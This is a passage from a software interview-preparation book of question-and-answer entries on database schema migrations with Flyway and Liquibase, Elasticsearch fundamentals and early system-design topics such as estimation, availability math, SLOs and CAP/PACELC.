- Keep columns in sync with a trigger if the old app version still writes the old column.

FOLLOW-UP TRAPS

- **Can the contract step ship in the same release as the code switch?** No, during a rolling deploy old pods still read the dropped column and fail.
- **Does dropping a column lock the table?** It is quick but needs an exclusive lock briefly; wait on long transactions.

#zero-downtime #expand-contract

Q5 Adding an index or a column on a 500M-row table in production. What risks exist and what techniques do you use? ADVANCED

Naive DDL can take long locks that block reads/writes and queue all other queries behind it. Use online methods and lock timeouts.

- PostgreSQL: `CREATE INDEX CONCURRENTLY` (no write lock, cannot run in a transaction, can leave an INVALID index on failure); `ADD COLUMN` with a constant default is metadata-only since 11; set `lock_timeout` so the DDL fails fast instead of queueing and blocking everything.
- MySQL 8: `ALGORITHM=INPLACE/INSTANT, LOCK=NONE` where supported (`ADD COLUMN` instant since 8.0.12); otherwise gh-ost or pt-online-schema-change for shadow-table copies.
- Backfill data in small batches (id ranges, 5-10k rows, with sleeps) outside the DDL migration, ideally as a separate job, to avoid long transactions and replica lag.

- Run migrations separately from app startup for heavy changes so a slow migration does not fail health checks.

> **FOLLOW-UP TRAPS**
> - **Why does a waiting `ALTER TABLE` cause an outage?** It waits for a lock held by a long query, and every new query queues behind the waiting DDL.
> - **Does `ADD COLUMN ... DEFAULT now()` rewrite the table on Postgres?** A volatile default does (pre and post 11); constant defaults do not.

#large-table #locking #online-ddl

Q6 How do you roll back a bad migration with Flyway and Liquibase? INTERMEDIATE

In practice you roll forward: ship a new corrective migration. Flyway's undo migrations (`U5__...`) exist only in paid editions; Liquibase supports `rollback` blocks per changeset (auto-generated for simple changes like `createTable`, but not for `sql` or data changes).

```
<changeSet id="7" author="dev">
  <addColumn tableName="orders"><column name="note" type="varchar(100)"/></addColumn>
  <rollback><dropColumn tableName="orders" columnName="note"/></rollback>
</changeSet>
```

- Destructive changes (drop column, delete data) cannot be rolled back without a backup; the expand-contract approach avoids needing it.
- Application rollback must remain compatible with the new schema; that is why migrations should be backward compatible.
- Test rollbacks in CI if you rely on them: `liquibase rollbackCount 1` against a copy.

> **FOLLOW-UP TRAPS**
> - **Can you rollback a data migration?** Only if you saved the original data; the auto-rollback does not know.
> - **Is rolling the app back enough?** Only if the old version works with the new schema.

#rollback #undo

Q7 Two application instances start simultaneously. How do Flyway and Liquibase prevent running the same migration twice? INTERMEDIATE

Both take a lock in the database before migrating; the second instance waits until the first finishes and then finds nothing to do.

- Flyway uses database-specific locking on the schema history table (for example a PostgreSQL advisory lock or a table lock); it does not use a separate lock table.
- Liquibase uses the `DATABASECHANGELOGLOCK` table. If the process is killed mid-migration the lock row can stay `LOCKED=1` and every later start hangs or fails: fix with `liquibase release-locks` or update the row.
- Waiting instances may time out their readiness probe on long migrations; in Kubernetes prefer a dedicated migration Job or init container run once before the rollout.

> **FOLLOW-UP TRAPS**
> - **Does Flyway guarantee safety with 10 pods?** For a single schema yes, but a long migration may exceed health probes and cause restart loops.
> - **What if the lock is stuck after a crash (Liquibase)?** Release it manually after verifying no migration is running.

#locking #multi-instance

Q8 You adopt Flyway on an existing production database with tables already in place. How? BASIC

Baseline the database: mark the current state as a given version so Flyway applies only newer migrations.

```
spring:
  flyway:
    baseline-on-migrate: true
    baseline-version: 1
```

- Export current schema as the baseline script (`V1__baseline.sql`) for new environments, and baseline production at version 1 so it is skipped there.
- `baseline-on-migrate` only acts when the schema has tables but no history table; risky if left on, because pointing at the wrong non-empty DB silently baselines it.
- For Liquibase, generate a changelog with `generateChangeLog` and mark it as run with `changelogSync`.

FOLLOW-UP TRAPS

- **Will Flyway run V1 on a baselined DB?** No, versions up to and including the baseline are skipped.
- **Is `baseline-on-migrate` safe in all environments?** Enable it deliberately once, not as a default.

#baseline #flyway

Q9 Someone merged `V8__x.sql` while your branch also has `V8__y.sql`, or a lower version arrives after V9 was applied. What happens? INTERMEDIATE

Two files with the same version fail with a "Found more than one migration with version 8" error. A lower version added after higher ones were applied is flagged as "detected resolved migration not applied to database" and fails validation unless `outOfOrder` is enabled.

- Fix by renumbering your file to a new highest version before merge; this is a rebase-time conflict, caught in CI.
- `spring.flyway.out-of-order=true` applies the late migration, but environments can end up in different orders, so use it sparingly.
- Use timestamp versions (`V20261004_1530__...`) to reduce collisions, at the cost of order surprises.
- Liquibase has no global version number: changesets are identified by `id + author + file path`, so ordering comes from the changelog include order.

FOLLOW-UP TRAPS

- **Does `ignoreMigrationPatterns` help?** It can tolerate missing or future migrations but hides real drift.
- **Does renaming or moving a Liquibase changelog file break it?** Yes, the file path is part of the identity unless `logicalFilePath` is set.

#versioning #out-of-order #ci

Q10 How would you run migrations in a CI/CD pipeline and test them? INTERMEDIATE

Run every migration from scratch against a real engine in CI (Testcontainers), validate that the app starts and ORM mappings match, and apply migrations as a controlled pipeline step before the app rollout.

```
@Container
static PostgreSQLContainer<?> pg = new PostgreSQLContainer<>("postgres:16");

@DynamicPropertySource
static void props(DynamicPropertyRegistry r) {
    r.add("spring.datasource.url", pg::getJdbcUrl);
    r.add("spring.datasource.username", pg::getUsername);
    r.add("spring.datasource.password", pg::getPassword);
}
```

- Set `spring.jpa.hibernate.ddl-auto=validate` so entity/schema mismatch fails the test.
- Do not test on H2 in a different dialect mode; DDL and types differ from production.
- Also test upgrade paths: restore a recent prod-like dump, migrate forward, time it.
- Lint SQL (squawk, sqlfluff) to catch locking operations; fail on edits to applied files.

> **FOLLOW-UP TRAPS**
> - **Is `ddl-auto=update` acceptable in production?** No, it is unreviewed and never drops or renames safely.
> - **Should migrations run from app startup in prod?** Fine for small changes; heavy ones belong in a separate step.

#ci #testcontainers

Q11 Flyway vs Liquibase: how do you choose? BASIC

Flyway is SQL-first and simple (plain numbered scripts); Liquibase is changelog-first (XML/YAML/JSON/SQL) with database-independent change types, preconditions, contexts and built-in rollback.

- Choose Flyway for single-database teams comfortable writing SQL and wanting minimal concepts.
- Choose Liquibase for multi-database products, rollback requirements, preconditions (`tableExists`), and contexts/labels to vary changes by environment.
- Both store applied history in the DB and validate checksums; both integrate with Spring Boot by auto-configuration (`spring.liquibase.change-log`).
- Database-agnostic Liquibase types still produce engine-specific SQL, so vendor features need raw `sql` changes anyway.

> **FOLLOW-UP TRAPS**
> - **Can you run both?** Technically yes on different schemas, but it is confusing; pick one.
> - **Do Flyway callbacks exist?** Yes, e.g. `beforeMigrate.sql`, `afterMigrate.sql`.

#comparison #tooling

Q12 How do you handle data migrations (backfills) versus schema migrations? INTERMEDIATE

Keep small, fast data fixes in a migration; run large backfills as batched application or job code outside the migration transaction. A migration that updates 100M rows in one statement holds locks, bloats the WAL/undo log, and may time out startup.

```
UPDATE orders SET status_v2 = status
WHERE id IN (SELECT id FROM orders WHERE status_v2 IS NULL ORDER BY id LIMIT 5000);
```

- Loop the batch (job, shell loop, or Flyway Java migration) until zero rows updated; each batch commits separately.
- Make backfills idempotent (`WHERE new_col IS NULL`) so they can resume after failure.
- Watch replica lag and pause when it grows.
- Java-based migrations (`BaseJavaMigration`) are versioned and checksummed by class name rather than content, so editing them does not trip checksum validation.

> **FOLLOW-UP TRAPS**
> - **Do Java migrations get a content checksum?** No, by default null checksum unless you implement `getChecksum()`.
> - **Why `ORDER BY id LIMIT`?** To make progress predictable and use the index.

#data-migration #batching

Q13 Hibernate `ddl-auto` and migration tools are both enabled. What problems arise? BASIC

Two tools then own the schema; Hibernate may create or alter objects before or after Flyway, producing drift, failed migrations ("table already exists") and differences between environments.

- With a migration tool, set `spring.jpa.hibernate.ddl-auto=none` or `validate`.
- Flyway runs before the `EntityManagerFactory` in Spring Boot, so `validate` sees the migrated schema.
- Generate a draft migration from entity diffs (Liquibase `diff`, IDE tools), review it by hand, then commit it.
- Embedded test DBs with `create-drop` hide missing migrations; test with the migrations themselves.

> **FOLLOW-UP TRAPS**
> - **Does `validate` check everything?** No, it checks tables, columns and basic types, not indexes or constraints.
> - **Is `update` OK for dev only?** It still diverges from prod migration history; avoid.

#ddl-auto #hibernate

Q14 A migration needs to behave differently per environment (for example seed data in dev only). How is that done? INTERMEDIATE

Keep schema migrations identical in all environments and vary only seed or environment data through separate locations or contexts.

```
spring:
  flyway:
    locations: classpath:db/migration,classpath:db/seed-dev
```

- Flyway: environment-specific `locations` via Spring profiles, or placeholders (`${schema_name}`) inside scripts.
- Liquibase: `context="dev"` on changesets, enabled with `spring.liquibase.contexts=dev`; `labels` for finer filters.
- Versions in extra locations share the same version namespace, so avoid collisions with main migrations.
- Never put real secrets in migration scripts or placeholders that are logged.

> **FOLLOW-UP TRAPS**
> - **Does a Liquibase changeset without a context run when contexts are set?** Yes, changesets with no context run always.
> - **Is test seed data in production migrations acceptable?** No, it will ship to prod.

#contexts #environments #locations

Q15 What is a safe pattern for dropping a table or column, and how do you avoid breaking old app instances? ADVANCED

First stop all code reading and writing it and let that release fully roll out, then drop in a later release. Add a safety window and a backup.

- Step 1: remove usage in code (and ORM mappings; `SELECT *` or entity mapping with a missing column fails).
- Step 2: optionally rename to `_deprecated_old_col` (instant) and wait a release cycle; failures show up as clear errors that you can undo by renaming back.
- Step 3: drop in a later migration, after verifying through query statistics that nothing touches it.
- Keep an export or snapshot, since a drop is not reversible by the migration tool.
- Also check external consumers: reports, BI tools, other services, triggers and views that reference it.

> **FOLLOW-UP TRAPS**
> - **Why not drop together with the code change?** Rolling deploys and rollbacks run the old code against the new schema.
> - **Does a mapped but unused entity field matter?** Hibernate selects every mapped column, so a dropped column breaks the query.

#contract #drop #deploy-order

DATABASE & CACHING · CHAPTER 7

Elasticsearch Basics

Inverted index, analyzers, mappings, BM25 relevance, shards and replicas, near-real-time refresh, bool queries, aggregations, search_after pagination, syncing from a database, cluster health and when not to use it.

15 questions **3** basic **8** intermediate **4** advanced

Scenarios

Q1 How does an inverted index make full-text search fast?

BASIC

An inverted index maps each term to the list of documents containing it (plus positions and frequencies), so a search looks up terms directly instead of scanning every document. Each Elasticsearch shard is a Lucene index made of immutable segments, each with its own inverted index.

- Indexing: text is analyzed into terms, then added to the term dictionary and postings lists.
- Query: look up each query term, intersect or union postings lists, then score.
- Segments are immutable: updates write a new document version and mark the old one deleted; background merges purge deleted docs.
- Doc values (columnar, on disk) serve sorting and aggregations, because the inverted index is poor at "value of field for doc".

FOLLOW-UP TRAPS

- **Is an update in place?** No, it is delete plus reindex of the whole document.
- **Why can't you sort on an analyzed `text` field?** It has no doc values; use a `keyword` sub-field.

#inverted-index #lucene

Q2 What is an analyzer and why does a search for "Running Shoes" fail to match "run shoe" or exact `"Nike-Air"`?

INTERMEDIATE

An analyzer = character filters, one tokenizer, then token filters (lowercase, stop words, stemming). The same analysis must produce comparable terms at index and search time; mismatches or a `keyword` field cause misses.

```
POST /_analyze
{ "analyzer": "english", "text": "Running Shoes" }
```

Expected tokens: `run`, `shoe`.

- `standard` analyzer (default): splits on word boundaries, lowercases, no stemming: "Running" gives `running`.
- A `keyword` field is not analyzed, so a `match` for "nike air" will not hit a stored `Nike-Air` unless the value is queried exactly with `term`.
- Different `analyzer` and `search_analyzer` are used for edge n-gram autocomplete (index n-grams, search whole term).
- Changing an analyzer on an existing field needs a reindex; terms already in segments do not change.

FOLLOW-UP TRAPS

- **Does `term` query on a text field with capitals work?** Usually not: the indexed term is lowercase but `term` is not analyzed.
- **Can you change a field's analyzer in place?** No, create a new index and reindex.

#analyzers #tokenizer #mapping

Q3 Dynamic vs explicit mapping: what can go wrong in production and how do you control it? INTERMEDIATE

Dynamic mapping guesses types from the first value seen (a string becomes `text` with a `keyword` sub-field, a date-like string becomes `date`), which can lock in a wrong type or create thousands of fields. Define explicit mappings with `dynamic: strict` for important indices.

```
PUT /products
{ "mappings": { "dynamic": "strict",
  "properties": {
    "name":  { "type": "text", "fields": { "raw": { "type": "keyword" } } },
    "sku":   { "type": "keyword" },
    "price": { "type": "scaled_float", "scaling_factor": 100 } } } }
```

- A field's type cannot be changed once data exists; you must create a new index and `_reindex`.
- Mapping explosion: user-supplied keys as field names hit `index.mapping.total_fields.limit` (default 1000); use `flattened` or a key/value nested structure.
- Use `keyword` for IDs, enums, and exact filters; `text` for full-text; `scaled_float` / `long` for money, not `float`.

FOLLOW-UP TRAPS

- **Can you add a new field to an existing mapping?** Yes; you cannot change or remove an existing field's mapping.
- **Is `_source` the same as the index?** No, `_source` is the stored original JSON; searching uses the index structures.

#mapping #dynamic #mapping-explosion

Q4 How does BM25 scoring work and how would you tune relevance? INTERMEDIATE

BM25 (default since 5.0) scores a document higher for terms with high frequency in that document (saturating), rarer terms in the corpus (IDF), and shorter fields (length normalization), as opposed to older TF-IDF which grew unboundedly with term frequency.

- Tune with `boost` per field (`multi_match` with `"fields": ["name^3","description"]`), `function_score` for popularity or recency, and parameters `k1` (saturation) and `b` (length normalization) on the similarity.
- Use `filter` context for criteria that should not influence score; filters are also cached.
- Inspect with `"explain": true` or the `_explain` API.
- IDF is computed per shard by default, so with small or skewed data scores differ between shards (`search_type=dfs_query_then_fetch` fixes this at a cost).

FOLLOW-UP TRAPS

- **Do `filter` clauses affect `_score`?** No.
- **Why do identical queries rank differently with little data?** Per-shard IDF statistics.

#relevance #bm25 #boosting

Q5 How should you choose the number of primary shards and replicas? What happens if you choose badly? INTERMEDIATE

Primary shard count is fixed at index creation (changing it needs split/shrink or reindex); replicas can change anytime. Too many small shards waste heap and slow searches; too few limit parallelism and growth.

- Rough guidance: shards of about 10-50 GB, and keep shard count per node modest (Elastic suggests no more than ~20 shards per GB of heap).
- Each replica is a full copy: it gives failover and extra read throughput, but increases storage and indexing cost.

- A search fans out to every shard of the index and merges results, so oversharding multiplies overhead per query.
- For time-series, use data streams / ILM rollover so each backing index has a bounded size.
- Documents route to shards by `hash(_routing) % number_of_primary_shards`, which is why the count can't simply change.

> **FOLLOW-UP TRAPS**
> - **Can a replica live on the same node as its primary?** No, allocation prevents it.
> - **Does adding replicas speed up indexing?** No, it slows it, since each doc is indexed on every copy.

#shards #replicas #capacity

Q6 You index a document and search immediately but it is not found. Why, and what are the options? BASIC

Elasticsearch is near-real-time: new documents are in an in-memory buffer and become searchable only after a refresh, which by default happens every 1 second on indices that were searched recently. `GET` by ID is real-time, but search is not.

- `PUT /idx/_doc/1?refresh=wait_for` blocks until the next refresh makes it visible; `refresh=true` forces an immediate refresh (expensive if overused).
- Durability is separate: the translog is fsynced (per request by default) and `flush` commits segments to disk.
- For bulk loads, set `index.refresh_interval` to `-1` (or 30s) and re-enable afterwards for much higher throughput.

```
curl -XPUT 'localhost:9200/orders/_doc/1?refresh=wait_for' -H 'Content-Type: application/json' -d '{"status":"NEW"}'
```

> **FOLLOW-UP TRAPS**
> - **Is a refresh the same as a flush?** No, refresh makes data searchable; flush persists to disk and trims the translog.
> - **Should tests use `refresh=true`?** In tests yes; in production it creates many tiny segments.

#near-real-time #refresh

Q7 Write a bool query: products in category "phones", price under 500, in stock, text matching "pixel", boosting recent releases. INTERMEDIATE

Use `must` for scoring text clauses, `filter` for exact conditions, `should` for optional boosts and `must_not` for exclusions.

```
GET /products/_search
{ "query": { "bool": {
    "must":   [ { "match": { "name": "pixel" } } ],
    "filter": [ { "term":  { "category": "phones" } },
                { "range": { "price": { "lt": 500 } } },
                { "term":  { "in_stock": true } } ],
    "should": [ { "range": { "released": { "gte": "now-1y" } } } ]
} } }
```

- With a `must` or `filter` present, `should` clauses only add score (minimum_should_match defaults to 0); with only `should`, at least one must match.
- `filter` and `must_not` run in filter context: no scoring, cacheable.
- `match` analyzes the text; `term` does not, so use `term` only on `keyword`/numeric/boolean fields.

FOLLOW-UP TRAPS

- **Does `must_not` affect scoring?** No.
- **`match_phrase` vs `match`?** Phrase requires terms adjacent and in order; `match` ORs terms by default.

#bool-query #query-dsl

Q8 Deep pagination with `from` / `size` is slow or errors at page 1000. Explain and fix with `search_after`. INTERMEDIATE

`from + size` makes each shard return its top `from + size` hits to the coordinator, which sorts them, so cost grows with depth; beyond `index.max_result_window` (10,000) it is rejected. Use `search_after` with a stable sort and a point in time (PIT).

```
POST /_search
{ "size": 20,
  "pit": { "id": "<pit-id>", "keep_alive": "1m" },
  "sort": [ { "created": "desc" }, { "_shard_doc": "asc" } ],
  "search_after": [1759570000000, 4182] }
```

- Pass the sort values of the last hit as `search_after`; the PIT keeps a consistent snapshot while paging.
- The sort needs a unique tiebreaker (`_shard_doc` with PIT, or a unique id field), otherwise results can skip or repeat.
- Scroll API is for bulk export, no longer recommended for user pagination; `search_after` cannot jump to an arbitrary page.

FOLLOW-UP TRAPS

- **Can you raise `max_result_window` instead?** You can, but memory and latency grow with depth.
- **Can `search_after` go to page 50 directly?** No, only next/previous.

#pagination #search-after #pit

Q9 Show an aggregation that gives average price per category with a price histogram. What are the limits of terms aggregations? INTERMEDIATE

Aggregations run over doc values; use a `terms` bucket with sub-aggregations. Set `size: 0` to skip hits.

```
GET /products/_search
{ "size": 0, "aggs": {
  "by_cat": { "terms": { "field": "category", "size": 10 },
    "aggs": { "avg_price": { "avg": { "field": "price" } },
              "prices": { "histogram": { "field": "price", "interval": 100 } } } } } }
```

- `terms` is approximate over many shards: each shard returns its top candidates, so counts for lower buckets can be inexact (see `doc_count_error_upper_bound`); raise `shard_size` for accuracy.
- Aggregating on `text` fields is disallowed by default (needs fielddata, heap-heavy); use `keyword`.
- High-cardinality terms and `cardinality` (HyperLogLog++ approximation) cost memory; use `composite` aggregation to page through all buckets.

FOLLOW-UP TRAPS

- **Is `cardinality` exact?** No, approximate, with precision threshold.
- **Does an aggregation respect the query?** Yes, it runs on matching docs unless placed in a `global` aggregation.

#aggregations #terms #histogram

Q10 How do you keep Elasticsearch in sync with your relational database? ADVANCED

Treat the database as the source of truth and Elasticsearch as a derived, rebuildable view. Choose the sync mechanism by consistency needs.

- Dual write in the service: simplest but unreliable; if ES fails after the DB commit, they diverge.
- Transactional outbox: write an event row in the same DB transaction, a relay publishes to Kafka, a consumer indexes into ES. At-least-once delivery with idempotent indexing by document ID.
- CDC (Debezium) from the DB log into Kafka then ES sink: captures all writers, small lag.
- Periodic batch reindex by `updated_at` as a safety net.
- Use external versioning (`version_type=external` with the row version) so out-of-order events cannot overwrite newer data.
- Keep the ability to rebuild: write to a new index and switch an alias for zero-downtime reindex.

FOLLOW-UP TRAPS

- **Can ES be your primary store?** Possible but it lacks multi-document transactions and joins; not recommended for system-of-record data.
- **How do you do zero-downtime mapping change?** New index, reindex, atomically swap alias.

#sync #cdc #outbox

Q11 What is split brain, and how does modern Elasticsearch avoid it? ADVANCED

Split brain means two parts of a partitioned cluster each elect a master and accept writes, causing divergent data. Since Elasticsearch 7 the cluster coordination layer uses a quorum-based voting configuration managed automatically, so a minority partition cannot elect a master.

- Have 3 dedicated master-eligible nodes (odd number); the cluster stays available with one down.
- Pre-7 clusters needed `discovery.zen.minimum_master_nodes = (N/2)+1` set manually; wrong values were the classic cause.
- Master-eligible nodes should be dedicated (not data nodes under heavy GC) so elections are stable.
- Minority-side nodes cannot accept cluster-state changes; searches on local shards may still serve stale data.

FOLLOW-UP TRAPS

- **Is a 2-node master set safe?** No, it cannot tolerate a loss of either node without losing quorum.
- **Do you still set `minimum_master_nodes` in 7+?** No, it is ignored.

#split-brain #cluster #master-election

Q12 Cluster health is yellow, or red. What does that mean and how do you investigate? BASIC

Green means all primaries and replicas are assigned; yellow means all primaries are assigned but some replicas are not (data is searchable, but no redundancy); red means at least one primary is unassigned, so data is missing for those shards.

```
GET _cluster/health
GET _cluster/allocation/explain
GET _cat/shards?v&h=index,shard,prirep,state,unassigned.reason
```

- A single-node cluster with replicas > 0 is permanently yellow, because a replica cannot share the primary's node.
- Common causes: disk watermarks exceeded (low 85%, high 90%, flood-stage 95% makes indices read-only), node left, allocation filters, shard limit per node.
- `allocation/explain` states exactly why a shard is unassigned.
- After disk flood-stage, free space then clear `index.blocks.read_only_allow_delete` (auto-cleared in recent versions once space is below high watermark).

FOLLOW-UP TRAPS

- **Is yellow an emergency?** Not for availability, but a node failure now risks data loss.
- **Is red always data loss?** No, the primary may come back when its node rejoins.

#cluster-health #shards #troubleshooting

Q13 Offset-based search suddenly returns slow queries and high heap. What are common query-side causes in Elasticsearch?

ADVANCED

Typical culprits are leading wildcards, large aggregations on high-cardinality fields, deep pagination, scripts, and fielddata on text fields.

- Leading wildcard `*foo` and regexp scan the whole term dictionary; use n-grams or the `wildcard` field type.
- `terms` aggregation or sort on `text` with fielddata loads all terms into heap; use `keyword`.
- Too many shards or segments, unmerged deletes; check `_cat/segments`, `_nodes/stats`.
- Use the slow log (`index.search.slowlog.threshold.query.warn`) and the profile API (`"profile": true`) to see per-clause timing.
- Large `size` or fetching huge `_source`; restrict with `_source` filtering and `fields`.

FOLLOW-UP TRAPS

- **Does adding replicas always speed up searches?** Only if CPU/IO is the bottleneck and nodes have capacity.
- **Is `query_string` safe with user input?** It can throw on bad syntax and allow expensive queries; prefer `simple_query_string` or `match`.

#performance #query #heap

Q14 When should you not use Elasticsearch?

INTERMEDIATE

Do not use it as a transactional system of record or where you need strict consistency, joins or multi-row transactions. Use it for search, analytics over logs, and filtering large denormalized datasets.

- No ACID transactions across documents; refresh delay means reads after writes may miss.
- Joins are limited (`nested`, `join` fields are costly); model data denormalized, which pushes complexity to the sync layer.
- Simple `LIKE` search over small data is better served by database indexes or PostgreSQL full-text search/`pg_trgm`.
- Operating a cluster (shards, heap, upgrades, reindexing) has real cost; weigh it against managed services or DB-native search.
- Exact counts and aggregations over many shards can be approximate.

FOLLOW-UP TRAPS

- **Is "SELECT by id" a good ES use?** No, the database is better and cheaper.
- **Can you get ACID semantics for a single document?** Operations on one document are atomic, but not across documents or against your DB.

#trade-offs #architecture

Q15 How do you model one-to-many data (order with items) in Elasticsearch: object, nested, or parent-child?

ADVANCED

Plain `object` arrays are flattened, so field values from different items get mixed together and cross-matches appear; `nested` indexes each item as a hidden separate document, preserving per-item correlation at a cost.

```
{ "items": [ { "sku": "A", "qty": 1 }, { "sku": "B", "qty": 5 } ] }
```

A query for `sku=A AND qty=5` on an `object` mapping wrongly matches this order; on `nested` with a `nested` query it does not.

- `nested`: query with `nested` query/aggregation; each item counts toward doc limits and indexing cost, and updating one item reindexes the whole root doc.

- `join` (parent-child): items updated independently, but queries are slower and need same-shard routing; use rarely.
- Often best is denormalization: duplicate the needed parent fields into each child document and search the child level.

> **FOLLOW-UP TRAPS**
> - **Does ES have a max for nested objects?** Yes, `index.mapping.nested_objects.limit` (default 10,000 per doc).
> - **Why does flattening cause false matches?** Arrays of objects are stored as parallel arrays of values per field.

#nested #modeling

PART IV

System Design

Estimation, trade-offs, LLD, HLD and a framework to run the interview.

7 chapters · 170 questions

1. Fundamentals & Estimation
2. Scalability, Caching & Load Balancing
3. Data Stores & Messaging
4. Microservices & Resilience
5. Low-Level Design
6. High-Level Design
7. 15-Day Strategy & Interview Framework

SYSTEM DESIGN · CHAPTER 1

Fundamentals & Estimation

Requirements gathering, back-of-envelope estimation, latency numbers, availability math, SLI/SLO/SLA, CAP/PACELC and consistency models, plus estimation and trade-off scenarios.

25 questions **7** basic **13** intermediate **5** advanced

Concepts

Q1 How do you structure the first 5 minutes of a system design interview (requirements)? BASIC

Separate functional requirements (what the system does) from non-functional ones (scale, latency, availability, consistency, durability), then fix scope and numbers before drawing boxes.

- Functional: core use cases only (e.g. "post a tweet, read timeline"), explicitly list what is out of scope.
- Non-functional: DAU, read/write ratio, latency target (p99), availability target, consistency need, data retention, geography.
- Then: estimate, API, data model, high-level design, deep dive on bottlenecks.

FOLLOW-UP TRAPS

- **Should you start with the database schema?** No, start with requirements and access patterns; the schema follows the queries.
- **Is it fine to assume numbers silently?** No, state assumptions aloud so the interviewer can correct them.

#requirements #interview-process

Q2 Walk through a back-of-envelope estimate for QPS, storage and bandwidth. BASIC

Convert users into requests per second, multiply by object size for bandwidth and by retention for storage, and keep powers of ten.

- 1 day = ~86,400 s (round to 100k). 1M requests/day = ~12 QPS; 100M/day = ~1,200 QPS.
- Peak = 2-5x average.
- Example: 10M DAU, 5 writes/day, 1 KB each: 50M writes/day = ~580 QPS avg, 50 GB/day, ~18 TB/year (before replication x3).
- Bandwidth = QPS x payload size (1,000 QPS x 100 KB = 100 MB/s = 800 Mbps).

FOLLOW-UP TRAPS

- **Do you include replication in storage?** Yes, multiply by the replication factor and add index/overhead (often 1.2-2x).
- **Average or peak for sizing?** Size for peak plus headroom; average hides burst failures.

#estimation #capacity

Q3 Which latency numbers should every backend engineer know? BASIC

Memory is nanoseconds, SSD microseconds, network round trips milliseconds; the ratios drive design decisions.

Operation	Approx.
L1 cache reference	1 ns
Main memory reference	100 ns
SSD random read	100 us
Same-datacenter round trip	0.5 ms
Read 1 MB sequentially from memory	~10 us-50 us
Read 1 MB sequentially from SSD	~1 ms
Disk seek (HDD)	10 ms
Cross-continent round trip	100-150 ms

- Implications: avoid chatty cross-region calls, batch network I/O, cache hot data in memory, prefer sequential over random I/O.

FOLLOW-UP TRAPS

- **Is a Redis GET "fast" at 1 ms?** It is ~1000x slower than a local in-process cache hit; network dominates.
- **Do these numbers change?** Absolute values drift with hardware; the order-of-magnitude ratios stay.

#latency #estimation

Q4 How is availability expressed and how do you compute it for serial and parallel components?

INTERMEDIATE

Availability = uptime / total time. Components in series multiply (worse); redundant components in parallel combine as 1 - (1-a)^n (better).

Target	Downtime / year
99%	3.65 days
99.9%	8.76 h
99.99%	52.6 min
99.999%	5.26 min

- Serial: three 99.9% services in a chain = 0.999^3 = 99.7%.
- Parallel: two independent 99% replicas = 1 - 0.01^2 = 99.99%.
- Parallel math assumes independent failures; shared dependencies (same AZ, same DB, same deploy) break it.

FOLLOW-UP TRAPS

- **Does adding more microservices in a call chain raise availability?** No, it lowers it unless calls are optional or degrade gracefully.
- **Does a load balancer add 100% availability?** No, it is itself a component that must be redundant.

#availability #nines

Q5 Differentiate SLI, SLO, SLA and error budget.

INTERMEDIATE

An SLI is a measured indicator, an SLO is the internal target for it, an SLA is a contractual promise with consequences; the error budget is 1 - SLO.

- SLI example: proportion of requests with status < 500 and latency < 300 ms.
- SLO example: 99.9% over a rolling 30 days. Budget: 0.1% = ~43 minutes of badness per 30 days.
- SLA is looser than the SLO (e.g. 99.5%) so you breach internally before breaching contractually; breach triggers credits.

- Budget burn policy: when exhausted, freeze risky releases and prioritize reliability work.

FOLLOW-UP TRAPS

- **Why not set the SLO at 100%?** Impossible and it halts all change; cost rises steeply with each extra nine.
- **Average latency as an SLI?** Poor; use percentiles (p95/p99) or good-events/total-events ratios.

#slo #sla #sli #error-budget

Q6 Why do p99 and tail latency matter more than the average? INTERMEDIATE

Averages hide slow outliers; a user request often fans out to many backends, so the probability of hitting at least one slow call grows quickly.

- If a single call exceeds p99 with probability 1%, a request fanning out to 100 calls is slow with probability 1 - 0.99^100 = ~63%.
- Mitigations: hedged requests, timeouts and budgets, load shedding, smaller fan-out, caching, avoiding GC and queue buildup.
- Percentiles cannot be averaged across hosts; aggregate histograms instead.

FOLLOW-UP TRAPS

- **Can you average per-instance p99s to get the fleet p99?** No, merge histograms or raw samples.
- **Does Little's Law relate?** Yes, L = lambda x W; as utilization nears 100%, queueing delay explodes non-linearly.

#latency #percentiles #tail-latency

Q7 State the CAP theorem precisely. What does "choose two of three" get wrong? INTERMEDIATE

During a network partition a distributed system must choose between consistency (linearizability) and availability (every non-failing node answers); partitions are not optional, so the real choice is CP vs AP only while partitioned.

- CP: refuse or block requests on the minority side (etcd, ZooKeeper, HBase, Spanner-like).
- AP: serve possibly stale or divergent data, reconcile later (Cassandra, DynamoDB eventual mode).
- When there is no partition you can have both C and A; CAP says nothing about latency.
- "C" here is linearizability, not the "C" in ACID.

FOLLOW-UP TRAPS

- **Is a CA system possible?** Only if the network never partitions, i.e. a single node; not for a distributed system.
- **Is MongoDB/MySQL "CP" or "AP"?** It depends on configuration (write concern, read preference, replication mode); labels are per-configuration.

#cap #partition-tolerance

Q8 What does PACELC add to CAP? ADVANCED

If Partitioned choose Availability or Consistency, Else (normal operation) choose Latency or Consistency. It captures that replication always trades latency for consistency even without failures.

System	P: A or C	E: L or C
DynamoDB / Cassandra (default)	PA	EL
Spanner, VoltDB	PC	EC
MongoDB (default)	PA	EC
PNUTS	PC	EL

- Synchronous replication to a quorum costs round-trip latency on every write (EC); async replication is fast but may read stale (EL).

FOLLOW-UP TRAPS

- **Why is PACELC more useful day to day?** Partitions are rare; the latency-vs-consistency choice applies on every request.
- **Can the same database be both?** Yes, tunable consistency (Cassandra QUORUM vs ONE) moves it along the spectrum per query.

#pacelc #cap #latency

Q9 Explain the main consistency models from strongest to weakest. INTERMEDIATE

Linearizability (single up-to-date copy illusion) > sequential > causal > read-your-writes / monotonic reads (session guarantees) > eventual.

- Linearizable: operations appear atomic in real-time order; needed for locks, leader election, unique constraints.
- Causal: causally related operations are seen in order everywhere; concurrent ones may differ.
- Session guarantees: read-your-writes, monotonic reads, monotonic writes, writes-follow-reads.
- Eventual: if writes stop, replicas converge; no ordering promise meanwhile.
- Serializability is a transaction isolation property (multi-object), distinct from linearizability (single-object recency); "strict serializability" is both.

FOLLOW-UP TRAPS

- **Is eventual consistency "no consistency"?** No, it guarantees convergence, typically in milliseconds, but gives no bound by itself.
- **Are serializable and linearizable the same?** No, one is about transaction ordering, the other about real-time recency.

#consistency #linearizability #eventual-consistency

Q10 How do you provide read-your-writes consistency on a leader-follower replicated store? INTERMEDIATE

Make sure the user's reads after a write either hit the leader or a follower known to have caught up.

- Route reads of recently written data (or the user's own profile) to the leader for N seconds after a write.
- Track the replication position (LSN / GTID / version) in the session or token and read only from replicas that have reached it.
- Sticky routing of a user to one replica gives monotonic reads (not read-your-writes).
- Cross-device is harder: the position must be stored server-side per user.

FOLLOW-UP TRAPS

- **Does sticky sessions alone fix it?** No, the replica may still lag behind the write.
